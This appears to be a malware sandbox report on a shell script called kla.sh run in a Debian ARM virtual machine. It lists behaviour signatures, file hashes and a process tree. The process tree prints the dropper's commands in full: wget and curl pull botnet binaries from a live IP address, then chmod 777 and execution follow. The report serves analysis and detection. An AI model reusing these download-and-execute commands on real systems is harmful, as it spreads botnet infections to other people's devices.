Overview

overview

7

Static

static

1

kla.sh

ubuntu-18.04-amd64

7

kla.sh

debian-9-armhf

7

kla.sh

debian-9-mips

7

kla.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    149s
  • max time network
    144s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    25/08/2026, 00:11

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    kla.sh
  • Size 2KB
  • Sample260825-agwrvsvfna
  • SHA256 bb36568c1f0a4f4d604cc67f8692506291eb1ffd217a451ffc846c94daa09440
  • MD5 SHA1 SHA512 TLSH
Score
7/10
antivmcredential_accessdefense_evasiondiscovery

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Deletes itself 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads process memory 1 TTPs 64 IoCs

    Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.

    credential_access
  • Changes its process name 1 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 4 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 7 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/kla.sh
    /tmp/kla.sh
    1⤵
    • Executes dropped EXE
    PID:654
    • /bin/cp
      cp /bin/busybox /tmp/
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:660
    • /usr/bin/wget
      wget -q -O robben http://176.65.139.196/bins/px86
      2⤵
      • Writes file to tmp directory
      PID:670
    • /bin/chmod
      chmod 777 robben
      2⤵
      • File and Directory Permissions Modification
      PID:684
    • /tmp/robben
      ./robben px86
      2⤵
        PID:685
      • /usr/bin/wget
        wget -q -O robben http://176.65.139.196/bins/pmips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:688
      • /bin/chmod
        chmod 777 robben
        2⤵
        • File and Directory Permissions Modification
        PID:691
      • /tmp/robben
        ./robben pmips
        2⤵
        • System Network Configuration Discovery
        PID:692
      • /usr/bin/wget
        wget -q -O robben http://176.65.139.196/bins/pmpsl
        2⤵
        • Writes file to tmp directory
        PID:696
      • /bin/chmod
        chmod 777 robben
        2⤵
        • File and Directory Permissions Modification
        PID:720
      • /tmp/robben
        ./robben pmpsl
        2⤵
          PID:721
        • /usr/bin/wget
          wget -q -O robben http://176.65.139.196/bins/parm
          2⤵
          • Writes file to tmp directory
          PID:725
        • /bin/chmod
          chmod 777 robben
          2⤵
          • File and Directory Permissions Modification
          PID:744
        • /tmp/robben
          ./robben parm
          2⤵
          • Deletes itself
          • Modifies Watchdog functionality
          • Reads process memory
          • Changes its process name
          • Reads runtime system information
          PID:745
        • /usr/bin/wget
          wget -q -O robben http://176.65.139.196/bins/parm5
          2⤵
          • Writes file to tmp directory
          PID:750
        • /usr/bin/curl
          curl -s -o robben http://176.65.139.196/bins/parm5
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:751

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            busybox
            • Path /tmp/busybox
            • Size 507KB
            • SHA256 2dd1fbb8052a89f40c2e9af115d31346e554ee746e9c7a97d651e43e0609df88
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            robben
            • Path /tmp/robben
            • Size 130KB
            • SHA256 979bd80a9ffde500946e02911d2824eab5fb25c265086b6569e6fff6977d21a6
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            robben
            • Path /tmp/robben
            • Size 238KB
            • SHA256 ed6bae2157415fa2477745b620368c5056d2a57a0c8a98648cd9352f8f3e248d
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            robben
            • Path /tmp/robben
            • Size 242KB
            • SHA256 f2d84aa5b96bbfbe0d3f79a8913947949918af763bdda32c73454b0bf0065548
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            robben
            • Path /tmp/robben
            • Size 178KB
            • SHA256 3336124beee46cdc5beb66dc86ee7bb13a7442a1a9240e8ee2ea499533c83d18
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download